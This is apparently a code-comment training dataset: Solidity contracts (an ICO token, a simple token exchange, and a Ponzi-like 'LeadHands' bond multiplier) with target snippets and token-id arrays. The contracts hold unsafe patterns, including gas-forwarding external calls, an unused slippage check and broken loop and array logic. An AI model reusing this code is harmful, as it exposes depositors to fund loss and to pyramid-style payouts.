Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * Вспомогательный метод выставляющий количество свободных токенов, рейт и добавляющий количество эмитированных */ function setMoney(uint256 _freeMoney, uint256 _emission, uint256 _rate) private { freeMoney = _freeMoney; totalSupply = totalSupply.add(_emission); rate = _rate; } /** * Метод переводящий контракт в состояние PreSale */ function gotoPreSale() private returns (bool) { //проверяем возможность перехода if (!canGotoState(IcoStates.PreSale)) return false; //да нужно переходить //переходим в PreSale currentState = IcoStates.PreSale; //выставляем состояние токенов setMoney(EMISSION_FOR_PRESALE, EMISSION_FOR_PRESALE, RATE_PRESALE); //устанавливаем дату окончания PreSale endDateOfPreSale = now.add(DURATION_PRESALE); //разим событие изменения состояния StateChanged(IcoStates.PreSale); return true; } /** * Метод переводящий контракт в состояние SaleStage1 */ function gotoSaleStage1() private returns (bool) { //проверяем возможность перехода if (!canGotoState(IcoStates.SaleStage1)) return false; //да нужно переходить //переходим в SaleStage1 currentState = IcoStates.SaleStage1; //непроданные токены сгорают totalSupply = totalSupply.sub(freeMoney); //выставляем состояние токенов setMoney(EMISSION_FOR_SALESTAGE1, EMISSION_FOR_SALESTAGE1, RATE_SALESTAGE1); //определяем количество токенов которое можно продать на всех стадиях Sale кроме последней remForSalesBeforeStageLast = EMISSION_FOR_SALESTAGE1 + EMISSION_FOR_SALESTAGE2 + EMISSION_FOR_SALESTAGE3 + EMISSION_FOR_SALESTAGE4 + EMISSION_FOR_SALESTAGE5 + EMISSION_FOR_SALESTAGE6 + EMISSION_FOR_SALESTAGE7; //устанавливаем дату начала последней стадии продаж startDateOfSaleStageLast = now.add(DURATION_SALESTAGES); //разим событие изменения состояния StateChanged(IcoStates.SaleStage1); return true; } /** * Метод выполняющий переход между состояниями Sale */ function transitionBetweenSaleStages() private { //переход между состояниями SaleStages возможен только если находимся в одном из них, кроме последнего if ( currentState != IcoStates.SaleStage1 && currentState != IcoStates.SaleStage2 && currentState != IcoStates.SaleStage3 && currentState != IcoStates.SaleStage4 && currentState != IcoStates.SaleStage5 && currentState != IcoStates.SaleStage6 && currentState != IcoStates.SaleStage7) return; //если есть возможность сразу переходим в состояние StageLast if (gotoSaleStageLast()) { return; } //смотрим в какое состояние можем перейти и выполняем переход if (canGotoState(IcoStates.SaleStage2)) { currentState = IcoStates.SaleStage2; setMoney(EMISSION_FOR_SALESTAGE2, EMISSION_FOR_SALESTAGE2, RATE_SALESTAGE2); StateChanged(IcoStates.SaleStage2); } else if (canGotoState(IcoStates.SaleStage3)) { currentState = IcoStates.SaleStage3; setMoney(EMISSION_FOR_SALESTAGE3, EMISSION_FOR_SALESTAGE3, RATE_SALESTAGE3); StateChanged(IcoStates.SaleStage3); } else if (canGotoState(IcoStates.SaleStage4)) { currentState = IcoStates.SaleStage4; setMoney(EMISSION_FOR_SALESTAGE4, EMISSION_FOR_SALESTAGE4, RATE_SALESTAGE4); StateChanged(IcoStates.SaleStage4); } else if (canGotoState(IcoStates.SaleStage5)) { currentState = IcoStates.SaleStage5; setMoney(EMISSION_FOR_SALESTAGE5, EMISSION_FOR_SALESTAGE5, RATE_SALESTAGE5); StateChanged(IcoStates.SaleStage5); } else if (canGotoState(IcoStates.SaleStage6)) { currentState = IcoStates.SaleStage6; setMoney(EMISSION_FOR_SALESTAGE6, EMISSION_FOR_SALESTAGE6, RATE_SALESTAGE6); StateChanged(IcoStates.SaleStage6); } else if (canGotoState(IcoStates.SaleStage7)) { currentState = IcoStates.SaleStage7; setMoney(EMISSION_FOR_SALESTAGE7, EMISSION_FOR_SALESTAGE7, RATE_SALESTAGE7); StateChanged(IcoStates.SaleStage7); } } /** * Метод переводящий контракт в состояние SaleStageLast */ function gotoSaleStageLast() private returns (bool) { if (!canGotoState(IcoStates.SaleStageLast)) return false; //ок переходим на состояние SaleStageLast currentState = IcoStates.SaleStageLast; //выставляем состояние токенов, с учётом всех остатков setMoney(remForSalesBeforeStageLast + EMISSION_FOR_SALESTAGELAST, EMISSION_FOR_SALESTAGELAST, RATE_SALESTAGELAST); //устанавливаем дату окончания SaleStageLast endDateOfSaleStageLast = now.add(DURATION_SALESTAGELAST); StateChanged(IcoStates.SaleStageLast); return true; } /** * Метод переводящий контракт в состояние PostIco */ function gotoPostIco() private returns (bool) { if (!canGotoState(IcoStates.PostIco)) return false; //ок переходим на состояние PostIco currentState = IcoStates.PostIco; //выставляем дату после которой можно использовать премиальные токены startDateOfUseTeamTokens = now + DURATION_NONUSETEAM; //выставляем дату после которой можно зачислять оставшиеся (не распроданные) токены, на произвольный кошелёк startDateOfRestoreUnsoldTokens = now + DURATION_BEFORE_RESTORE_UNSOLD; //запоминаем количество нераспроданных токенов unsoldTokens = freeMoney; //уничтожаем свободные токены totalSupply = totalSupply.sub(freeMoney); setMoney(0, 0, 0); StateChanged(IcoStates.PostIco); return true; } }
* Количество eth который предполагается выводить на адрес withdrawalTo/
uint256 public withdrawalValue;
5,365,173
[ 1, 145, 253, 145, 127, 145, 124, 145, 121, 146, 234, 145, 118, 146, 228, 146, 229, 145, 115, 145, 127, 13750, 225, 145, 123, 145, 127, 146, 229, 145, 127, 146, 227, 146, 238, 145, 122, 225, 145, 128, 146, 227, 145, 118, 145, 117, 145, 128, 145, 127, 145, 124, 145, 113, 145, 116, 145, 113, 145, 118, 146, 229, 146, 228, 146, 242, 225, 145, 115, 146, 238, 145, 115, 145, 127, 145, 117, 145, 121, 146, 229, 146, 239, 225, 145, 126, 145, 113, 225, 145, 113, 145, 117, 146, 227, 145, 118, 146, 228, 598, 9446, 287, 774, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 5034, 1071, 598, 9446, 287, 620, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// contracts/Exchange.sol pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; contract Exchange { address public tokenAddress; uint256 public num; constructor(address _token){ require(_token != address(0), "invalid token address"); tokenAddress = _token; } function addLiquidity(uint256 _tokenAmount) public payable{ // in function call, additionally add eth via msg.value IERC20 token = IERC20(tokenAddress); num = msg.value; token.transferFrom(msg.sender, address(this), _tokenAmount); } function getReserve() public view returns (uint256) { return IERC20(tokenAddress).balanceOf(address(this)); } function getNum() public view returns(uint256){ return num; } function getAmount( uint256 inputAmount, uint256 inputReserve, uint256 outputReserve ) private pure returns (uint256) { require(inputReserve > 0 && outputReserve > 0, "invalid reserves"); // x*y=k // let's say input Reserve of token is x, output Resereve is ETH y (selling input for eth) // x' = x + inputAmount // y' = y - outputAmount // x' * y' = x*y // we're searching for output amount // (x+inputAmount)(y-outputAmount)=x*y // x*y/(x+inputAmount) = y - outputAmount // outputAmount = y - (x*y)/(x+inputAmount) -> y*inputAmount/(x+inputAmount) return (inputAmount * outputReserve) / (inputReserve + inputAmount); } function getTokenAmount(uint256 _ethSold) public view returns (uint256) { require(_ethSold > 0, "ethSold is too small"); uint256 tokenReserve = getReserve(); return getAmount(_ethSold, address(this).balance, tokenReserve); } function getEthAmount(uint256 _tokenSold) public view returns (uint256) { require(_tokenSold > 0, "tokenSold is too small"); uint256 tokenReserve = getReserve(); return getAmount(_tokenSold, tokenReserve, address(this).balance); } function ethToTokenSwap(uint256 _minTokens) public payable { uint256 tokenReserve = getReserve(); // subtract msg.value bc that's eth sent in and already in contract uint256 tokensBought = getAmount( msg.value, address(this).balance - msg.value, tokenReserve ); require(tokensBought >= _minTokens, "insufficient output amount"); IERC20(tokenAddress).transfer(msg.sender, tokensBought); } function tokenToEthSwap(uint256 _tokensSold, uint256 _minEth) public { uint256 ethBought = getAmount(_tokensSold, getReserve(), address(this).balance); // swapping eth from contract to msg.sender + adding tokens sold to contract IERC20(tokenAddress).transferFrom(msg.sender, address(this), _tokensSold); // payable keyword to send eth payable(msg.sender).transfer(ethBought); } }
x*y=k let's say input Reserve of token is x, output Resereve is ETH y (selling input for eth) x' = x + inputAmount y' = y - outputAmount x' * y' = x*y we're searching for output amount (x+inputAmount)(y-outputAmount)=x*y x*y/(x+inputAmount) = y - outputAmount outputAmount = y - (x*y)/(x+inputAmount) -> y*inputAmount/(x+inputAmount)
function getAmount( uint256 inputAmount, uint256 inputReserve, uint256 outputReserve ) private pure returns (uint256) { require(inputReserve > 0 && outputReserve > 0, "invalid reserves"); return (inputAmount * outputReserve) / (inputReserve + inputAmount); }
5,352,145
[ 1, 1698, 33, 79, 2231, 1807, 12532, 810, 1124, 6527, 434, 1147, 353, 619, 16, 876, 1124, 822, 537, 353, 512, 2455, 677, 261, 87, 1165, 310, 810, 364, 13750, 13, 619, 11, 273, 619, 397, 810, 6275, 677, 11, 273, 677, 300, 876, 6275, 619, 11, 225, 677, 11, 273, 7668, 732, 4565, 15300, 364, 876, 3844, 261, 92, 15, 2630, 6275, 21433, 93, 17, 2844, 6275, 13, 33, 1698, 7668, 19, 12, 92, 15, 2630, 6275, 13, 273, 677, 300, 876, 6275, 876, 6275, 273, 677, 300, 261, 1698, 13176, 12, 92, 15, 2630, 6275, 13, 317, 677, 2630, 6275, 19, 12, 92, 15, 2630, 6275, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 24418, 12, 203, 565, 2254, 5034, 810, 6275, 16, 203, 565, 2254, 5034, 810, 607, 6527, 16, 203, 565, 2254, 5034, 876, 607, 6527, 203, 565, 262, 3238, 16618, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 2583, 12, 2630, 607, 6527, 405, 374, 597, 876, 607, 6527, 405, 374, 16, 315, 5387, 400, 264, 3324, 8863, 203, 3639, 327, 261, 2630, 6275, 380, 876, 607, 6527, 13, 342, 261, 2630, 607, 6527, 397, 810, 6275, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; import "zeppelin-solidity/contracts/token/ERC20/ERC20.sol"; import "zeppelin-solidity/contracts/token/ERC721/ERC721Token.sol"; import "zeppelin-solidity/contracts/ownership/Ownable.sol"; import "zeppelin-solidity/contracts/math/SafeMath.sol"; import "./IronHandsInterface.sol"; import "./HourglassInterface.sol"; contract LeadHands is Ownable, ERC721Token { /** * Modifiers */ /** * The tokens from the source cannot be transfered. */ modifier notSource(address aContract) { require(aContract != address(source)); _; } /** * Only if this person owns the token or is approved */ modifier ownerOrApproved(address _operator, uint256 _tokenId) { require(isApprovedOrOwner(_operator, _tokenId)); _; } /** * Only if the contract has a positive balance */ modifier hasBalance() { require(address(this).balance > 10); _; } /* * Only if we can mint that many bonds, and they sent enough to buy a single bond */ modifier canMint(uint256 amount){ require(amount > 3000000 && (revenue == 0 || amount <= totalPurchasableBonds())); if(bondValue > 0){ require(amount >= bondValue); } _; } /** * Events */ event BondCreated(uint256 amount, address depositer, uint256 bondId); event Payout(uint256 amount, address creditor, uint256 bondId); event BondPaidOut(uint256 bondId); event BondDestroyed(uint256 paid, uint256 owed, address deserter, uint256 bondId); event Revenue(uint256 amount, address revenueSource); event Donation(uint256 amount, address donator); /** * Structs */ struct Participant { address etherAddress; uint256 payout; uint256 tokens; } /** * Storage variables */ //Total ETH revenue over the lifetime of the contract uint256 revenue; //Total ETH received from dividends uint256 dividends; //Total ETH donated to the contract uint256 donations; //The percent to return to depositers. 100 for 0%, 200 to double, etc. uint256 public multiplier; //Where in the line we are with creditors uint256 public payoutOrder = 0; //How much is owed to people uint256 public backlog = 0; //Number of Participants uint256 public participantsOwed = 0; //The creditor line Participant[] public participants; //How much each person is owed mapping(address => uint256) public creditRemaining; //What we will be buying HourglassInterface source; //IronHands, the other revenue source IronHandsInterface ironHands; //tokenURI prefix which will have the tokenId appended to it string myTokenURIPrefix; //Bond value per bond, or 0 for user sized bonds. uint256 bondValue; //Amount of inflation to allow, or 0 for unlimited inflation uint256 inflationMultiplier; /** * Constructor */ constructor(uint256 myBondValue, uint256 myInflationMultipler, uint256 multiplierPercent, address sourceAddress, address ironHandsAddress, string name, string symbol, string tokenURIPrefix) public ERC721Token(name, symbol) { multiplier = multiplierPercent; source = HourglassInterface(sourceAddress); ironHands = IronHandsInterface(ironHandsAddress); myTokenURIPrefix = tokenURIPrefix; bondValue = myBondValue; inflationMultiplier = myInflationMultipler; } /** * Deposit ETH to get in line to be credited back the multiplier as a percent, * Add that ETH to the pool, then pay out who we owe and buy more tokens. */ function purchaseBond() payable canMint(msg.value) public returns (uint256[]){ //A single bond is fixed at bond value, or 0 for user defined value on buy uint256 amountPerBond = bondValue == 0 ? msg.value : bondValue; //The amount they have deposited uint256 remainder = msg.value; //The issued bonds uint256[] memory issuedBonds = new uint256[](0); //counter for storing the bonds in the issuedBonds array uint256 issuedBondsIndex = 0; //while we still have money to spend while(remainder >= amountPerBond){ remainder -= bondValue; //Compute how much to pay them uint256 amountCredited = bondValue.mul(multiplier).div(100); //Compute how much we're going to invest in each opportunity uint256 tokens = invest(bondValue); //Get in line to be paid back. participants.push(Participant(msg.sender, amountCredited, tokens)); //Increase the backlog by the amount owed backlog += amountCredited; //Increase the number of participants owed participantsOwed++; //Increase the amount owed to this address creditRemaining[msg.sender] += amountCredited; //Give them the token _mint(msg.sender, participants.length-1); //Add it to the list of bonds they bought issuedBonds[issuedBondsIndex] = participants.length-1; //increment the issuedBondsIndex counter issuedBondsIndex++; //Emit a deposit event. emit BondCreated(bondValue, msg.sender, participants.length-1); } //If they sent in more than the bond value if(remainder > 0){ //Send them back the portion they are owed. msg.sender.transfer(remainder); } //Do the internal payout loop internalPayout(); //Tell them what bonds were issued to them return issuedBonds; } /** * Take 50% of the money and spend it on tokens, which will pay dividends later. * Take the other 50%, and use it to pay off depositors. */ function payout() public { //Take everything in the pool uint256 existingBalance = address(this).balance; //It needs to be something worth splitting up require(existingBalance > 10); invest(existingBalance); //Pay people out internalPayout(); } /** * Withdraw and payout in one transactions */ function withdrawAndPayout() public { //if we have dividends if(myDividends() > 0){ //withdraw them withdraw(); } //payout everyone we can payout(); } /** * Sells the tokens your investment bought, giving you whatever it received in doing so, and canceling your future payout. * Calling this with a position you own in line with forefit that future payout as well as 50% of your initial deposit. * This is here in response to people not being able to "get their money out early". Now you can, but at a very high cost. */ function exit(uint256 _tokenId) ownerOrApproved(msg.sender, _tokenId) public { require(participants[_tokenId].tokens > 0 && participants[_tokenId].payout > 0); //Withdraw dividends first if(myDividends() > 0){ withdraw(); } //Lock divs so not used to pay seller uint256 lockedFunds = address(this).balance; //Get tokens for this postion uint256 tokensToSell = participants[_tokenId].tokens; //Get the amount the are owed on this postion uint256 owedAmount = participants[_tokenId].payout; //Set tokens for this position to 0 participants[_tokenId].tokens = 0; //Set amount owed on this position to 0 participants[_tokenId].payout = 0; //Sell particpant's tokens source.sell(tokensToSell); //get the money out withdraw(); //remove divs from funds to be paid uint256 availableFunds = address(this).balance - lockedFunds; //Set Backlog Amount backlog -= owedAmount; //Decrease number of participants participantsOwed--; uint256 payment; //Check if owed amount is less than or equal to the amount available if (owedAmount <= availableFunds){ //If more availabe funds are available only send owed amount payment = owedAmount; }else{ //If owed amount is greater than available amount send all available payment = availableFunds; } //Try and pay them, making best effort. But if we fail? Run out of gas? That's not our problem any more. if(msg.sender.call.value(payment).gas(1000000)()){ //Record that they were paid emit BondDestroyed(payment, owedAmount, msg.sender, _tokenId); } } /** * Request dividends be paid out and added to the pool. */ function withdraw() public { //get our balance uint256 balance = address(this).balance; //withdraw however much we are owed source.withdraw.gas(1000000)(); //remove the amount we already had from the calculation uint256 revenuePaid = address(this).balance - balance; //increase the dividends we've been paid revenue += revenuePaid; //emit and event emit Revenue(revenuePaid, source); } /** * The owner can set the tokeURI */ function setTokenURI(string tokenURI) external onlyOwner { myTokenURIPrefix = tokenURI; } /** * ERC-721 Metadata support for getting the token URI * Returns a unique URI per token */ function tokenURI(uint256 _tokenId) public view returns (string){ return appendUintToString(myTokenURIPrefix, _tokenId); } /** * Fallback function allows anyone to send money for the cost of gas which * goes into the pool. Used by withdraw/dividend payouts so it has to be cheap. */ function() payable public { } /** * Buy some tokens from the revenue source */ function buyFromHourglass(uint256 _amount) internal returns(uint256) { return source.buy.value(_amount).gas(1000000)(msg.sender); } /** * Invest in IronHands */ function buyFromIronHands(uint256 _amount) internal { ironHands.deposit.value(_amount).gas(3000000)(); } /** * Amount an individual token is owed in the future */ function balanceOfBond(uint256 _tokenId) public view returns (uint256) { return participants[_tokenId].payout; } /** * Payout address of a given bond */ function payoutAddressOfBond(uint256 _tokenId) public view returns (address) { return participants[_tokenId].etherAddress; } /** * Number of participants in line ahead of this token */ function participantsAheadOfBond(uint256 _tokenId) public view returns (uint256) { require(payoutOrder <= _tokenId); return _tokenId - payoutOrder; } /** * Number of tokens the contract owns. */ function myTokens() public view returns(uint256){ return source.myTokens(); } /** * Number of dividends owed to the contract. */ function myDividends() public view returns(uint256){ return source.myDividends(true); } /** * Number of dividends received by the contract. */ function totalDividends() public view returns(uint256){ return dividends; } /** * Number of donations received by the contract. */ function totalDonations() public view returns(uint256){ return donations; } /** * Number of dividends owed to the contract. */ function tokensForBond(uint256 _tokenId) public view returns(uint256){ return participants[_tokenId].tokens; } /** * A charitible contribution will be added to the pool. */ function donate() payable public { require(msg.value > 0); donations += msg.value; emit Donation(msg.value, msg.sender); } /** * Number of participants who are still owed. */ function backlogLength() public view returns (uint256){ return participantsOwed; } /** * Total amount still owed in credit to depositors. */ function backlogAmount() public view returns (uint256){ return backlog; } /** * Total number of bonds issued in the lifetime of the contract. */ function totalBondsIssued() public view returns (uint256){ return participants.length; } /** * Total purchasable tokens. */ function totalPurchasableBonds() public view returns (uint256){ //If we don't have a limit on inflation if(inflationMultiplier == 0){ //It's never over 9000 return 9000 ether; } //Take the revenue, multipliy it by the inflationMultiplier, and subtract the backlog return revenue.mul(inflationMultiplier).sub(backlog); } /** * Total amount of ETH that the contract has issued back to it's investors. */ function totalRevenue() public view returns (uint256){ return revenue; } /** * Amount still owed to an individual address */ function amountOwed(address anAddress) public view returns (uint256) { return creditRemaining[anAddress]; } /** * Amount owed to this person. */ function amountIAmOwed() public view returns (uint256){ return amountOwed(msg.sender); } function viewBond(uint256 _bondId) public view returns (address, uint256, uint256){ return (participants[_bondId].etherAddress, participants[_bondId].payout, participants[_bondId].tokens); } /** * A trap door for when someone sends tokens other than the intended ones so the overseers can decide where to send them. */ function transferAnyERC20Token(address _tokenAddress, address _tokenOwner, uint256 _tokens) public onlyOwner notSource(_tokenAddress) returns (bool success) { return ERC20(_tokenAddress).transfer(_tokenOwner, _tokens); } /** * Internal functions */ /** * Split revenue either two or three ways, returning the number of tokens generated in doing so */ function invest(uint256 amount) private returns (uint256){ //Compute how much we're going to invest in each opportunity uint256 investment; //If we have an existing IronHands to piggyback on if(ironHands != address(0)){ //Do a three way split investment = amount.div(3); //Buy some ironHands revenue because that causes events in the future buyFromIronHands(investment); }else{ //Do a two way split investment = amount.div(2); } //Split the deposit up and buy some future revenue from the source return buyFromHourglass(investment); } /** * Internal payout loop called by deposit() and payout() */ function internalPayout() hasBalance private { //Get the balance uint256 existingBalance = address(this).balance; //While we still have money to send while (existingBalance > 0) { //Either pay them what they are owed or however much we have, whichever is lower. uint256 payoutToSend = existingBalance < participants[payoutOrder].payout ? existingBalance : participants[payoutOrder].payout; //if we have something to pay them if(payoutToSend > 0){ //record how much we have paid out revenue += payoutToSend; //subtract how much we've spent existingBalance -= payoutToSend; //subtract the amount paid from the amount owed backlog -= payoutToSend; //subtract the amount remaining they are owed creditRemaining[participants[payoutOrder].etherAddress] -= payoutToSend; //credit their account the amount they are being paid participants[payoutOrder].payout -= payoutToSend; if(participants[payoutOrder].payout == 0){ //Decrease number of participants owed participantsOwed--; } //Try and pay them, making best effort. But if we fail? Run out of gas? That's not our problem any more. if(participants[payoutOrder].etherAddress.call.value(payoutToSend).gas(1000000)()){ //Record that they were paid emit Payout(payoutToSend, participants[payoutOrder].etherAddress, payoutOrder); }else{ //undo the accounting, they are being skipped because they are not payable. revenue -= payoutToSend; existingBalance += payoutToSend; backlog += payoutToSend; backlog -= participants[payoutOrder].payout; creditRemaining[participants[payoutOrder].etherAddress] -= participants[payoutOrder].payout; participants[payoutOrder].payout = 0; } } //check for possible reentry existingBalance = address(this).balance; //If we still have balance left over if(participants[payoutOrder].payout == 0){ //Log event emit BondPaidOut(payoutOrder); //Go to the next person in line payoutOrder += 1; //Decrease number of participants owed participantsOwed--; } //If we've run out of people to pay, stop if(payoutOrder >= participants.length){ return; } } } /** * Helper function for appending the tokenId to the URI */ function appendUintToString(string inStr, uint v) private pure returns (string str) { uint maxlength = 100; bytes memory reversed = new bytes(maxlength); uint i = 0; while (v != 0) { uint remainder = v % 10; v = v / 10; reversed[i++] = byte(48 + remainder); } bytes memory inStrb = bytes(inStr); bytes memory s = new bytes(inStrb.length + i); uint j; for (j = 0; j < inStrb.length; j++) { s[j] = inStrb[j]; } for (j = 0; j < i; j++) { s[j + inStrb.length] = reversed[i - 1 - j]; } str = string(s); } /** * Helper function for appending the tokenId to the URI */ function uintToString(uint256 v) private pure returns (string str) { uint maxlength = 100; bytes memory reversed = new bytes(maxlength); uint i = 0; while (v != 0) { uint remainder = v % 10; v = v / 10; reversed[i++] = byte(48 + remainder); } bytes memory s = new bytes(i + 1); for (uint j = 0; j <= i; j++) { s[j] = reversed[i - j]; } str = string(s); } }
Lock divs so not used to pay seller
uint256 lockedFunds = address(this).balance;
1,073,479
[ 1, 2531, 3739, 87, 1427, 486, 1399, 358, 8843, 29804, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2254, 5034, 8586, 42, 19156, 273, 1758, 12, 2211, 2934, 12296, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
